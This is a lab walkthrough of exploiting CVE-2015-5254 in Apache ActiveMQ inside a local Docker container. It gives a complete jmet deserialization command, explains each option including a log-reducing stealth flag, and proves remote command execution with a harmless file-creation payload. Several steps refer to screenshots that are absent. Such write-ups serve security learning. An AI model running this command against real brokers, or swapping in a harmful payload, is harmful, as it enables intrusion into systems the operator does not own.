Exploitation of CVE-2015-5254 Vulnerability

CVE-2015-5254 is a security vulnerability in Apache ActiveMQ, a widely used open source message broker for inter-application communication. This vulnerability affects ActiveMQ versions up to 5.13.0 and stems from the lack of filtering on incoming JMS ObjectMessage data.

Network scan: nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1

We launch ActiveMQ 2015 from its downloaded folder using docker:

We check the ActiveMQ version:

It is version 5.11.1

Exploitation:

For this vulnerability, we will use the command:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 172.17.0.1 61616

This command executes an exploitation attempt of the Apache ActiveMQ CVE-2015-5254 vulnerability using the jmet tool. Here is a breakdown of each command option:

java -jar jmet-0.1.0-all.jar : Launches the jmet tool (Java Message Exploitation Tool) using the standalone JAR file (jmet-0.1.0-all.jar).

-Q event : Specifies the target queue in ActiveMQ, named "event" here. The tool will send the malicious message through this queue.

-I ActiveMQ : Indicates that the target is an Apache ActiveMQ server.

-s : Launches exploitation in stealth mode, which may sometimes minimize logs or warnings generated on the target.

-Y "touch /tmp/success" : Indicates the malicious payload that will be executed on the target server upon success. In this case, the touch /tmp/success command creates a file named success in the /tmp folder to prove the exploitation worked.

-Yp ROME : Uses the "ROME" payload to attempt exploitation (ROME is here a specific type of payload supported by the tool for ActiveMQ).

172.17.0.1 61616 : Specifies the IP address (172.17.0.1) and port (61616) of the target Apache ActiveMQ server.

In summary, This command attempts to exploit a deserialization flaw in Apache ActiveMQ by injecting a malicious message into the "event" queue to execute a remote command. If the exploitation succeeds, the target ActiveMQ server executes the touch /tmp/success command, which is an indicator of successful exploitation (file creation). In short, we want to inject a file named success into the file system of the ActiveMQ server, specifically in /tmp/.

We notice that the exploit succeeded!!!

We see the following detection message on Apache ActiveMQ:

We click on the message:

We run the following set of commands:

docker ps -a To find the current ActiveMQ container, we see container 19ab278527c7 We run: docker exec -it 19ab278527c7 /bin/bash To authenticate to the ActiveMQ server via its container.

We confirm that we successfully authenticated and then verified the creation of the file success in /tmp/:

End of exploit!!!